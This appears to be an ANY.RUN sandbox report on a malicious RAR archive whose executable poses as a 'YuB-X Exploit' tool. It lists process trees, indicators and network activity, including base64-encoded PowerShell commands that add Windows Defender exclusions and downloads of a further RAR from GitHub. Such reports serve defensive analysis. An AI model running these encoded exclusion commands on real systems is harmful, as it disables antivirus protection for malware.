Malware analysis yubx_l.rar Malicious activity | ANY.RUN

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File name:	yubx_l.rar
Full analysis:	https://app.any.run/tasks/11aa37b5-b4b0-4a99-925a-18b9337bb61d
Verdict:	Malicious activity
Analysis date:	March 07, 2026, 00:06:33
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	arch-exec github vmprotect susp-powershell pastebin
Indicators:
MIME:	application/x-rar
File info:	RAR archive data, v5
MD5:	2FA833F8E2C3500B52B846920382300A
SHA1:	A4CB36A972730DC49538F16D185CE701397C0C76
SHA256:	C159FF5151870DD0A49DED69CBD1BB1196878AB8D76332BEBFDED72D6CD71194
SSDEEP:	98304:0umGlyx1eQZ2g5sXn9/B8iGbL+GZOnMZRngAUgSmiql9I6bDZqBNm8woGJJeF/fL:SzS2Q5+E644M/w2VYIDlv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
Google Chrome (133.0.6943.127)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (133.0.3065.92)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (136.0)
Mozilla Maintenance Service (136.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Executing a file with an untrusted certificate
  - YUB-Exploit.exe (PID: 6360)
  - YUB-Exploit.exe (PID: 8536)
SUSPICIOUS
- Starts POWERSHELL.EXE for commands execution
  - yubx_l.exe (PID: 7896)
  - cmd.exe (PID: 6020)
  - cmd.exe (PID: 748)
  - cmd.exe (PID: 1084)
- Starts CMD.EXE for commands execution
  - yubx_l.exe (PID: 7896)
- BASE64 encoded PowerShell command has been detected
  - cmd.exe (PID: 6020)
  - cmd.exe (PID: 748)
  - cmd.exe (PID: 1084)
- Executable content was dropped or overwritten
  - YUB-Exploit.exe (PID: 8536)
  - vc_redist.x86.exe (PID: 524)
  - vc_redist.x86.exe (PID: 4664)
  - vc_redist.x64.exe (PID: 7928)
  - vc_redist.x64.exe (PID: 8492)
  - net481-web.exe (PID: 2252)
  - vc_redist.x86.exe (PID: 8920)
  - vc_redist.x86.exe (PID: 4940)
  - vc_redist.x64.exe (PID: 6804)
  - vc_redist.x64.exe (PID: 4136)
  - net481-web.exe (PID: 4256)
- Starts a Microsoft application from unusual location
  - vc_redist.x86.exe (PID: 524)
  - vc_redist.x86.exe (PID: 4664)
  - vc_redist.x64.exe (PID: 8492)
  - vc_redist.x64.exe (PID: 7928)
  - net481-web.exe (PID: 2252)
  - vc_redist.x86.exe (PID: 8920)
  - vc_redist.x86.exe (PID: 4940)
  - net481-web.exe (PID: 4256)
  - vc_redist.x64.exe (PID: 4136)
  - vc_redist.x64.exe (PID: 6804)
- Searches for installed software
  - vc_redist.x86.exe (PID: 4664)
  - vc_redist.x64.exe (PID: 7928)
  - vc_redist.x86.exe (PID: 4940)
  - vc_redist.x64.exe (PID: 4136)
- Creates file in the systems drive root
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- Using the short paths format
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
INFO
- Reads the computer name
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
  - vc_redist.x86.exe (PID: 524)
  - vc_redist.x86.exe (PID: 4664)
  - vc_redist.x64.exe (PID: 8492)
  - net481-web.exe (PID: 2252)
  - vc_redist.x64.exe (PID: 7928)
  - Setup.exe (PID: 7584)
  - vc_redist.x86.exe (PID: 8920)
  - vc_redist.x86.exe (PID: 4940)
  - vc_redist.x64.exe (PID: 4136)
  - vc_redist.x64.exe (PID: 6804)
  - net481-web.exe (PID: 4256)
  - Setup.exe (PID: 8300)
- Reads security settings of Internet Explorer
  - WinRAR.exe (PID: 4712)
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
- Executable content was dropped or overwritten
  - WinRAR.exe (PID: 4712)
- Reads the machine GUID from the registry
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- Checks supported languages
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
  - vc_redist.x86.exe (PID: 524)
  - vc_redist.x86.exe (PID: 4664)
  - vc_redist.x64.exe (PID: 8492)
  - net481-web.exe (PID: 2252)
  - vc_redist.x64.exe (PID: 7928)
  - Setup.exe (PID: 7584)
  - vc_redist.x86.exe (PID: 8920)
  - vc_redist.x86.exe (PID: 4940)
  - vc_redist.x64.exe (PID: 4136)
  - vc_redist.x64.exe (PID: 6804)
  - net481-web.exe (PID: 4256)
  - Setup.exe (PID: 8300)
- Disables trace logs
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
- Checks proxy server information
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
- Create files in a temporary directory
  - yubx_l.exe (PID: 7896)
  - vc_redist.x86.exe (PID: 4664)
  - YUB-Exploit.exe (PID: 8536)
  - vc_redist.x64.exe (PID: 7928)
  - net481-web.exe (PID: 2252)
  - Setup.exe (PID: 7584)
  - vc_redist.x86.exe (PID: 4940)
  - vc_redist.x64.exe (PID: 4136)
  - net481-web.exe (PID: 4256)
  - Setup.exe (PID: 8300)
- Creates files or folders in the user directory
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
- Generic archive extractor
  - WinRAR.exe (PID: 4712)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 4368)
  - powershell.exe (PID: 6212)
  - powershell.exe (PID: 4340)
- VMProtect protector has been detected
  - yubx_l.exe (PID: 7896)
- Found Base64 encoded access to Windows Defender via PowerShell (YARA)
  - yubx_l.exe (PID: 7896)
- There is functionality for taking screenshot (YARA)
  - yubx_l.exe (PID: 7896)
- Process checks computer location settings
  - yubx_l.exe (PID: 7896)
  - YUB-Exploit.exe (PID: 8536)
- Creates files in the program directory
  - yubx_l.exe (PID: 7896)
- The sample compiled with english language support
  - YUB-Exploit.exe (PID: 8536)
  - vc_redist.x86.exe (PID: 524)
  - vc_redist.x86.exe (PID: 4664)
  - vc_redist.x64.exe (PID: 8492)
  - vc_redist.x64.exe (PID: 7928)
  - net481-web.exe (PID: 2252)
  - vc_redist.x86.exe (PID: 8920)
  - vc_redist.x86.exe (PID: 4940)
  - vc_redist.x64.exe (PID: 4136)
  - vc_redist.x64.exe (PID: 6804)
  - net481-web.exe (PID: 4256)
- The sample compiled with chinese language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with arabic language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with czech language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with german language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with korean language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with japanese language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with french language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with swedish language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with portuguese language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with Italian language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with polish language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with russian language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- Reads CPU info
  - Setup.exe (PID: 7584)
  - Setup.exe (PID: 8300)
- The sample compiled with spanish language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)
- The sample compiled with turkish language support
  - net481-web.exe (PID: 2252)
  - net481-web.exe (PID: 4256)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.rar	\|	RAR compressed archive (v5.0) (61.5)
.rar	\|	RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion:	RAR v5
CompressedSize:	7903413
UncompressedSize:	9545728
OperatingSystem:	Win32
ArchivedFileName:	yubx_l.exe

No data.

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All screenshots are available in the full report

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Total processes

179

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

524

"C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\vc_redist.x86.exe" /quiet /norestart

C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\vc_redist.x86.exe

YUB-Exploit.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.29.30156

Exit code:

1638

Version:

14.29.30156.0

Modules

Images
c:\users\admin\appdata\local\temp\rar$exa4712.14744\yub-x_exploit\vc_redist.x86.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll

748

"cmd.exe" /C powershell -EncodedCommand QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcYWRtaW5cQXBwRGF0YVxMb2NhbFxUZW1wXFJhciRFWGE0NzEyLjE0NzQ0XHl1YnhfbC5leGUi

C:\Windows\SysWOW64\cmd.exe

—

yubx_l.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll

1084

"cmd.exe" /C powershell -EncodedCommand QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiWXVCLVhfRXhwbG9pdFxZVUItRXhwbG9pdC5leGUi

C:\Windows\SysWOW64\cmd.exe

—

yubx_l.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll

2244

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

2252

"C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\net481-web.exe" /quiet /norestart

C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\net481-web.exe

YUB-Exploit.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Microsoft .NET Framework 4.8.1 Setup

Exit code:

Version:

4.8.09037.06

Modules

Images
c:\users\admin\appdata\local\temp\rar$exa4712.14744\yub-x_exploit\net481-web.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll

2844

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

3644

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

4136

"C:\WINDOWS\Temp\{37D4C924-FF13-4F8C-A7BF-2F5D4FE483A1}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\vc_redist.x64.exe" -burn.filehandle.attached=580 -burn.filehandle.self=708 /quiet /norestart

C:\Windows\Temp\{37D4C924-FF13-4F8C-A7BF-2F5D4FE483A1}\.cr\vc_redist.x64.exe

vc_redist.x64.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.29.30156

Exit code:

1638

Version:

14.29.30156.0

Modules

Images
c:\windows\temp\{37d4c924-ff13-4f8c-a7bf-2f5d4fe483a1}\.cr\vc_redist.x64.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll

4256

"C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\net481-web.exe" /quiet /norestart

C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\net481-web.exe

YUB-Exploit.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Microsoft .NET Framework 4.8.1 Setup

Exit code:

Version:

4.8.09037.06

Modules

Images
c:\users\admin\appdata\local\temp\rar$exa4712.14744\yub-x_exploit\net481-web.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll

4340

powershell -EncodedCommand QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiWXVCLVhfRXhwbG9pdFxZVUItRXhwbG9pdC5leGUi

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll

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Total events

45 095

Read events

44 933

Write events

162

Delete events

Modification events


(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtBMP
Value:
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtIcon
Value:
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	3
Value: C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	2
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	1
Value: C:\Users\admin\Downloads\chromium_build 1.zip
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\yubx_l.rar
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(4712) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100

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Executable files

Suspicious files

Text files

305

Unknown types

Dropped files

PID	Process	Filename		Type
7896	yubx_l.exe	C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\yubx.rar		—
		MD5:—	SHA256:—
4368	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vx52p1oc.2ww.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7896	yubx_l.exe	C:\Users\admin\AppData\Local\WindowsFormsApp1\yubx_l.exe_Url_kefrzz5n45vqpnnoecusspt0oibginkg\1.0.0.0\dgepfrmc.newcfg		xml
		MD5:0D72D2BFF0BD253AC771AAD8EF7DD12B	SHA256:39A38665544D69D318B8F19A6DBD1D8AFAF6936913B3E1445C1A80C861EAE15A
5048	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:FFCB2D928BF0CB592D9DACE7DD18ABD9	SHA256:1660F5BF4E2BF534F75EE63F65D7C268E75FB4DAE4E15F843F23836922240000
7896	yubx_l.exe	C:\Users\admin\AppData\Local\Temp\Rar$EXa4712.14744\YuB-X_Exploit\YUB-Exploit.exe		—
		MD5:—	SHA256:—
7896	yubx_l.exe	C:\Users\admin\AppData\Local\WindowsFormsApp1\yubx_l.exe_Url_kefrzz5n45vqpnnoecusspt0oibginkg\1.0.0.0\user.config		xml
		MD5:0D72D2BFF0BD253AC771AAD8EF7DD12B	SHA256:39A38665544D69D318B8F19A6DBD1D8AFAF6936913B3E1445C1A80C861EAE15A
6212	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0nlh5yyc.c3p.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6212	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bjteoqqm.axy.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7624	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cs03shnb.y35.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5048	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rklv4zyv.spr.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3208	svchost.exe	GET	304	4.231.128.59:443	https://settings-win.data.microsoft.com/settings/v3.0/WSD/UpdateHealthTools?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=s:BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&sampleId=s:95271487&appVer=10.0.19041.3626&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=SedimentPack&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2	unknown	—	—	whitelisted
7896	yubx_l.exe	GET	302	140.82.121.4:443	https://github.com/YuB-W/Links_data/raw/main/yub-x.json	unknown	—	—	whitelisted
6768	MoUsoCoreWorker.exe	GET	304	4.231.128.59:443	https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop	unknown	—	—	whitelisted
7896	yubx_l.exe	GET	302	140.82.121.4:443	https://github.com/YuB-W/Links_data/raw/main/YUB-X_V10.rar	unknown	—	—	whitelisted
7896	yubx_l.exe	GET	—	185.199.111.133:443	https://raw.githubusercontent.com/YuB-W/Links_data/main/YUB-X_V10.rar	unknown	—	—	whitelisted
8380	SIHClient.exe	GET	304	135.233.95.144:443	https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL	unknown	—	—	whitelisted
8380	SIHClient.exe	GET	200	74.178.240.51:443	https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping	unknown	—	—	whitelisted
8380	SIHClient.exe	GET	200	135.233.95.144:443	https://slscr.update.microsoft.com/sls/ping	unknown	—	—	whitelisted
3208	svchost.exe	GET	200	4.231.128.59:443	https://settings-win.data.microsoft.com/settings/v3.0/WSD/WaaSAssessment?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&ring=Retail&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=10.0&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=WaaSAssessment&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&ServicingBranch=CB&